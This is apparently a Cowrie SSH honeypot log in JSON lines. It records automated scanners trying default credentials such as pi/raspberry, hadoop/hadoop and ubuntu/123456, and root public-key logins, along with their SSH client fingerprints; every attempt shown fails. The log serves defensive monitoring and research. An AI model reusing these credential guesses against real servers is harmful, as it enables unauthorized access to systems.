{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:13.392824Z","src_ip":"83.168.110.85","session":"c85c908568a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:13.810949Z","src_ip":"83.168.110.85","session":"c85c908568a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:14.936536Z","src_ip":"83.168.110.85","session":"c85c908568a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":59316,"dst_ip":"159.203.135.109","dst_port":22,"session":"288482c93c80","protocol":"ssh","message":"New connection: 83.168.110.85:59316 (159.203.135.109:22) [session: 288482c93c80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:23.887475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:23.892581Z","src_ip":"83.168.110.85","session":"288482c93c80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:24.013509Z","src_ip":"83.168.110.85","session":"288482c93c80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:24.378582Z","src_ip":"83.168.110.85","session":"288482c93c80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:25.561896Z","src_ip":"83.168.110.85","session":"288482c93c80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":56802,"dst_ip":"159.203.135.109","dst_port":22,"session":"b30c3224a4f2","protocol":"ssh","message":"New connection: 83.168.110.85:56802 (159.203.135.109:22) [session: b30c3224a4f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:34.457443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:34.462121Z","src_ip":"83.168.110.85","session":"b30c3224a4f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:34.582923Z","src_ip":"83.168.110.85","session":"b30c3224a4f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:34.948489Z","src_ip":"83.168.110.85","session":"b30c3224a4f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:36.226815Z","src_ip":"83.168.110.85","session":"b30c3224a4f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.96.159.237","src_port":56490,"dst_ip":"10.17.0.5","dst_port":22,"session":"474c838af94a","protocol":"ssh","message":"New connection: 119.96.159.237:56490 (10.17.0.5:22) [session: 474c838af94a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:41.744115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:41.749750Z","src_ip":"119.96.159.237","session":"474c838af94a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:42.740511Z","src_ip":"119.96.159.237","session":"474c838af94a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.93.103.2","src_port":58078,"dst_ip":"10.17.0.5","dst_port":22,"session":"130893900b57","protocol":"ssh","message":"New connection: 172.93.103.2:58078 (10.17.0.5:22) [session: 130893900b57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:43.524972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:43.534475Z","src_ip":"172.93.103.2","session":"130893900b57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:43.541997Z","src_ip":"172.93.103.2","session":"130893900b57","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b1:90:2e:d2:4f:5c:d8:56:fa:1a:22:f5:eb:74:e9:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAoNaIBH51YBMF2nBY4fOvQZ14WZJZb/5bmRO5kOCOcxYn7gJCuo8rFcL35kwcJ1ReZzsLgVAfuO1eP/5zaSLzRsNqoQr3gBm8RgcJKs+G9EerWcRD0frs5kzOZ1lK4xtQgLV6ZtgB6B9O1SpY5tE9f4+aTwZEBWc+hg+tIEHyhxQ1Twhrmw3aKgBwMz9xRsyDY1PFjTz8uWH+VnmBpjwHEAtfM/RcAhnbfHAXyVuaSXP27sNgrJM5cAdfsdZATbz5MFSPxD6tfqeFL4RNURzlimE9FwNhjjbBymTuYnAC9legbk2u9imyze6cZz+mOZMKpIP94EkXGtpjJGQIDFTyyQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b1:90:2e:d2:4f:5c:d8:56:fa:1a:22:f5:eb:74:e9:02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:43.560605Z","src_ip":"172.93.103.2","session":"130893900b57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b1:90:2e:d2:4f:5c:d8:56:fa:1a:22:f5:eb:74:e9:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAoNaIBH51YBMF2nBY4fOvQZ14WZJZb/5bmRO5kOCOcxYn7gJCuo8rFcL35kwcJ1ReZzsLgVAfuO1eP/5zaSLzRsNqoQr3gBm8RgcJKs+G9EerWcRD0frs5kzOZ1lK4xtQgLV6ZtgB6B9O1SpY5tE9f4+aTwZEBWc+hg+tIEHyhxQ1Twhrmw3aKgBwMz9xRsyDY1PFjTz8uWH+VnmBpjwHEAtfM/RcAhnbfHAXyVuaSXP27sNgrJM5cAdfsdZATbz5MFSPxD6tfqeFL4RNURzlimE9FwNhjjbBymTuYnAC9legbk2u9imyze6cZz+mOZMKpIP94EkXGtpjJGQIDFTyyQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:43.564096Z","src_ip":"172.93.103.2","session":"130893900b57","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7f:21:a6:cb:76:4b:92:b0:60:07:a0:ac:ef:58:33:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC91rlM7pgraihZb6s1+0QxemgMGnqiIFCvANtg3RbFqHzjVr16rJ4NMZSBuh1ih3FlvOCSiNQ8uQu1AYadIgYKR5Y7CBWjbmUktoyDlkW+dQLOEMp2RnFSjpyjCrknBBIE7kijGyturPN927H3x+qN3iL5cd5HdTkRY+YrDU/GVqiC3RzYvD0+2Kef6mwJ1zYvoua1DtFbu8juyPToaJJuTNbuTwBtb1nrRPKFg+KI72AjmC++f/J2tIqWgmP43mWCF194EVzAnp98/Fkd4wDKETuLtlKHgzkfm1q5gkSAThaS1DtcjLQbgxAmqS+WAeuQXLmvDNQuMrtCgBuB/K326wuS4Z/pRxoGq77ITbLi+j7b4WNzxmnaFoRE47lYgt3Qw3waTCHlDjQ5NkL3+b1rULWncxvPoumikmwhnS6q4t4qZMQkhH3RKimHdtLuwC0ZOr4eAvqQ5/1gG6ILo59te9cTKUkhPyM71q37o2eiN3qKNI8S/SALVLDuQx2GmQ8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7f:21:a6:cb:76:4b:92:b0:60:07:a0:ac:ef:58:33:c2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:43.574495Z","src_ip":"172.93.103.2","session":"130893900b57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7f:21:a6:cb:76:4b:92:b0:60:07:a0:ac:ef:58:33:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC91rlM7pgraihZb6s1+0QxemgMGnqiIFCvANtg3RbFqHzjVr16rJ4NMZSBuh1ih3FlvOCSiNQ8uQu1AYadIgYKR5Y7CBWjbmUktoyDlkW+dQLOEMp2RnFSjpyjCrknBBIE7kijGyturPN927H3x+qN3iL5cd5HdTkRY+YrDU/GVqiC3RzYvD0+2Kef6mwJ1zYvoua1DtFbu8juyPToaJJuTNbuTwBtb1nrRPKFg+KI72AjmC++f/J2tIqWgmP43mWCF194EVzAnp98/Fkd4wDKETuLtlKHgzkfm1q5gkSAThaS1DtcjLQbgxAmqS+WAeuQXLmvDNQuMrtCgBuB/K326wuS4Z/pRxoGq77ITbLi+j7b4WNzxmnaFoRE47lYgt3Qw3waTCHlDjQ5NkL3+b1rULWncxvPoumikmwhnS6q4t4qZMQkhH3RKimHdtLuwC0ZOr4eAvqQ5/1gG6ILo59te9cTKUkhPyM71q37o2eiN3qKNI8S/SALVLDuQx2GmQ8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:43.578284Z","src_ip":"172.93.103.2","session":"130893900b57","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6a:ec:f3:39:f1:f0:9e:ab:d1:fa:eb:a4:cf:a3:c7:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfqtN7h5ttWG8qVgNTFJQIH4n9VaOxTBhhIYLvc/DWt9AFjBvPVkq7pAlQUezgOKS/X1CzEaEsuZL4XuyIueL6IbsZbqgsjr4V45LG6UZdDClFzw50KUH+Nr3HGT3BVY39dV+zYhToHwst2L8jQZHgGP/0zC0rmueD8W6u1wABu1BrvrUTRSx76GmiKaRbi8SZC/mBwk8DH5ahqSOXEO9cZYTpU1usL+Sqi8YIyxWneu5fN9ctv8Cay0zKjlAInf0MtPNN+YXoQYw4eOBSUQdpPtZrnOkyBQRwoKszi7ewq/Yhr0kbJchJcYFxGrpWBVkCfPd0sN4UIb0EPKr7HKfB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6a:ec:f3:39:f1:f0:9e:ab:d1:fa:eb:a4:cf:a3:c7:0a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:43.587560Z","src_ip":"172.93.103.2","session":"130893900b57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6a:ec:f3:39:f1:f0:9e:ab:d1:fa:eb:a4:cf:a3:c7:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfqtN7h5ttWG8qVgNTFJQIH4n9VaOxTBhhIYLvc/DWt9AFjBvPVkq7pAlQUezgOKS/X1CzEaEsuZL4XuyIueL6IbsZbqgsjr4V45LG6UZdDClFzw50KUH+Nr3HGT3BVY39dV+zYhToHwst2L8jQZHgGP/0zC0rmueD8W6u1wABu1BrvrUTRSx76GmiKaRbi8SZC/mBwk8DH5ahqSOXEO9cZYTpU1usL+Sqi8YIyxWneu5fN9ctv8Cay0zKjlAInf0MtPNN+YXoQYw4eOBSUQdpPtZrnOkyBQRwoKszi7ewq/Yhr0kbJchJcYFxGrpWBVkCfPd0sN4UIb0EPKr7HKfB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:43.591275Z","src_ip":"172.93.103.2","session":"130893900b57","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ac:b0:8f:3e:44:d8:32:49:fa:d5:8d:bb:1f:ac:35:90","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxVCSmp5zJ9gMRf2elRsxhubMMXmox7H1Q2nKeepSagluO9pd7TBWbKEAJL0pic6HwjUfKQC9SS0aB7aWgLDPG9cZhdIOC+yehSOPK7G2yX3cX6os17gI+M5dOntts2p9Hz0aCEV43HFujkKoSEKWkwA+jJxvTrQb3hHLScNxjUE5tZ31EIhnt4S2uQu+hc6ic/E6IG2v9TpmGBXL75bkhteV6Jbl30/NeJLSnQpkM+Uclqo6W2TnP06hdxW6DVcyDzU0OqMRlMFNJUbDQmU1UuEN7ROlhgmW5/c540rB3uJ4AHklvgQbaDDkRZocDcpqexfB5yPfvMzVbh3qknNZt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ac:b0:8f:3e:44:d8:32:49:fa:d5:8d:bb:1f:ac:35:90","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:43.601443Z","src_ip":"172.93.103.2","session":"130893900b57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ac:b0:8f:3e:44:d8:32:49:fa:d5:8d:bb:1f:ac:35:90","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxVCSmp5zJ9gMRf2elRsxhubMMXmox7H1Q2nKeepSagluO9pd7TBWbKEAJL0pic6HwjUfKQC9SS0aB7aWgLDPG9cZhdIOC+yehSOPK7G2yX3cX6os17gI+M5dOntts2p9Hz0aCEV43HFujkKoSEKWkwA+jJxvTrQb3hHLScNxjUE5tZ31EIhnt4S2uQu+hc6ic/E6IG2v9TpmGBXL75bkhteV6Jbl30/NeJLSnQpkM+Uclqo6W2TnP06hdxW6DVcyDzU0OqMRlMFNJUbDQmU1UuEN7ROlhgmW5/c540rB3uJ4AHklvgQbaDDkRZocDcpqexfB5yPfvMzVbh3qknNZt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:43.605508Z","src_ip":"172.93.103.2","session":"130893900b57","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ff:08:8c:49:f5:b0:b3:43:93:02:cf:41:44:0b:6c:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCbzJ0J8M5HYVDacBkz/JLChEyHsBSE6cp1aOXUu/MeIOKFFbC9okzHBdU+DYWAQIv4W3g46S6rRYP4zXZjQXevWEE/4SBSQRZIuNwNi0E1zMFJh5lSjynDChkeOoDB4vqs271tdteygHkbZSc7U5r6RcZNW2/gKTsvfJMA+yL+TbYwG2HZ0b5nTPASyJMnM5GqV0HMOz/S/4gQtFuaHw2t2djF3scvq5T36oia+L2chKWI8qrT4b2PQaNLwUMNp5YT97J5Ii4RIpYEuDSn/ktZDZ+iDx6lEpLqt+FXRHYtodgTC+cGxgqk2/xtBmUmzYN4E5UeoL6eZZr4Qp5NOn76nbrVVk/JiaReKAAj1tc+5PAvsuyxj2W3uCm84IUK3eWUlj5kfeMWx/UnBd0ixJFZMEHH87EEynx+GEn9uc/6X2zYkGeafW/VUkjqSUDj6tqBvXMhOZTRdWUiIh4awEvkYC0MjsYJn5/yikL0qYojqB+pyjcgaHQZ2uYX2N536BHAdQmNti2Xu4Vh1UysLCZZ1BUv3I1o7t9aCcoIWwWm4nACvAL8wHTLiQLCoPxl9zGWQv5xir/Y+w3udAv91DQf9tGQosKeUDMtM+d8lF10P+oi1uKe6TYnSDZetJqpb5mZEiTqrBhkwwf8diapA+3qPieF2yGioeiJndBSbuOvnw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ff:08:8c:49:f5:b0:b3:43:93:02:cf:41:44:0b:6c:79","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:43.620737Z","src_ip":"172.93.103.2","session":"130893900b57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ff:08:8c:49:f5:b0:b3:43:93:02:cf:41:44:0b:6c:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCbzJ0J8M5HYVDacBkz/JLChEyHsBSE6cp1aOXUu/MeIOKFFbC9okzHBdU+DYWAQIv4W3g46S6rRYP4zXZjQXevWEE/4SBSQRZIuNwNi0E1zMFJh5lSjynDChkeOoDB4vqs271tdteygHkbZSc7U5r6RcZNW2/gKTsvfJMA+yL+TbYwG2HZ0b5nTPASyJMnM5GqV0HMOz/S/4gQtFuaHw2t2djF3scvq5T36oia+L2chKWI8qrT4b2PQaNLwUMNp5YT97J5Ii4RIpYEuDSn/ktZDZ+iDx6lEpLqt+FXRHYtodgTC+cGxgqk2/xtBmUmzYN4E5UeoL6eZZr4Qp5NOn76nbrVVk/JiaReKAAj1tc+5PAvsuyxj2W3uCm84IUK3eWUlj5kfeMWx/UnBd0ixJFZMEHH87EEynx+GEn9uc/6X2zYkGeafW/VUkjqSUDj6tqBvXMhOZTRdWUiIh4awEvkYC0MjsYJn5/yikL0qYojqB+pyjcgaHQZ2uYX2N536BHAdQmNti2Xu4Vh1UysLCZZ1BUv3I1o7t9aCcoIWwWm4nACvAL8wHTLiQLCoPxl9zGWQv5xir/Y+w3udAv91DQf9tGQosKeUDMtM+d8lF10P+oi1uKe6TYnSDZetJqpb5mZEiTqrBhkwwf8diapA+3qPieF2yGioeiJndBSbuOvnw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:43.625079Z","src_ip":"172.93.103.2","session":"130893900b57","protocol":"ssh"}
